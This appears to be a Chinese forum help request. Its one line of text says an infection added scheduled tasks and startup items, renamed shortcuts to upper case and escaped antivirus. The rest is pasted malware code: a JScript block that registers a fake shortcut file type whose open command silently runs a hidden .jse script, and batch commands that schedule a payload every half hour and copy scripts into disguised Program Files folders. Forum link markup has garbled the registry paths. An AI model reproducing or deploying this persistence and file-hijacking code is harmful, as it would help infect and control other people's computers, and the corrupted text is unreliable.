加计划任务加启动项 快捷方式都被改了文件名全都变大写 杀毒也不管

var oS = new ActiveXObject("WScript.Shell") ;
var f_AB = new ActiveXObject( "Scripting.FileSystemObject") ;
var f_f = function(){
oS.RegWrite("HKCR\\" + ".qtzsj" + "\\", "svbultf", "REG_SZ");
oS.RegWrite("HKCR\\" + "svbultf" + "\\", "快捷方式", "REG_SZ");
oS.RegWrite("HKCR\\" + "svbultf" + "[url=file://\\IsShortcut]\\IsShortcut[/url]", "", "REG_SZ");
oS.RegWrite("HKCR\\" + "svbultf" + "[url=file://\\NeverShowExt]\\NeverShowExt[/url]", "", "REG_SZ");
oS.RegWrite("HKCR\\" + "svbultf" + "[url=file://\\DefaultIcon\\]\\DefaultIcon\\[/url]", "%SystemRoot%\\system32\\url.dll,0", "REG_EXPAND_SZ");
oS.RegWrite("HKCR\\" + "svbultf" + "[url=file://\\CLSID\\]\\CLSID\\[/url]", "{FBF23B40-E3F0-101B-8488-00AA003E56F8}", "REG_SZ");
oS.RegWrite("HKCR\\" + "svbultf" + "[url=file://\\shell\\]\\shell\\[/url]", "open", "REG_SZ");
oS.RegWrite("HKCR\\" + "svbultf" + "[url=file://\\shell\\open\\CLSID]\\shell\\open\\CLSID[/url]", "{FBF23B40-E3F0-101B-8488-00AA003E56F8}","REG_SZ");
oS.RegWrite("HKCR\\" + "svbultf" + "[url=file://\\shell\\open\\command\\]\\shell\\open\\command\\[/url]", 'WScript.exe /B "C:\\Program FilesSRS Labs\\SRS Premium Sound Control Panel\\ehngxfr.jse" "%1"', "REG_SZ");
oS.RegWrite("HKCR\\" + "svbultf" + "[url=file://\\shellex\\IconHandler\\]\\shellex\\IconHandler\\[/url]", "{FBF23B40-E3F0-101B-8488-00AA003E56F8}", "REG_SZ");
oS.RegWrite("HKCR\\" + "svbultf" + "[url=file://\\shellex\\ContextMenuHandlers\\]\\shellex\\ContextMenuHandlers\\[/url]", "", "REG_SZ"); 
};
f_f();
WScript.Sleep(500);
f_f();
WScript.Sleep(500);
f_f();^#~@


cmd.exe /c at /delete /yes
at.exe 0:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 0:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 1:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 1:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 2:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 2:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 3:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 3:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 4:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 4:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 5:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 5:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 6:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 6:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 7:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 7:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 8:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 8:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 9:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 9:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 10:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 10:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 11:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 11:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 12:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 12:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 13:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 13:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 14:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 14:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 15:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 15:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 16:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 16:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 17:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 17:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 18:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 18:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 19:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 19:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 20:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 20:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 21:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 21:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 22:30  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"
at.exe 22:00  /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday  "C:\Program Files\Messenger\Stationery\2025\s.cmd"



copy "C:\Program Files\Messenger\Stationery\2025\a" "C:\Program FilesSRS Labs\SRS Premium Sound Control Panel\ehngxfr.jse"
copy "C:\Program Files\Messenger\Stationery\2025\b" "C:\Program Files\ASUS\AI Recovery\knxxxlx.jse"
copy "C:\Program Files\Messenger\Stationery\2025\c" "C:\Program FilesMSBuild\Microsoft\gjpizht.jse"
REG ADD "HKEY_CLASSES_ROOT\svbultf\shell\open\command" /ve /t REG_SZ /d "WScript.exe /B """C:\Program FilesSRS Labs\SRS Premium Sound Control Panel\ehngxfr.jse""" """%%1"""" /f

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon 2.0)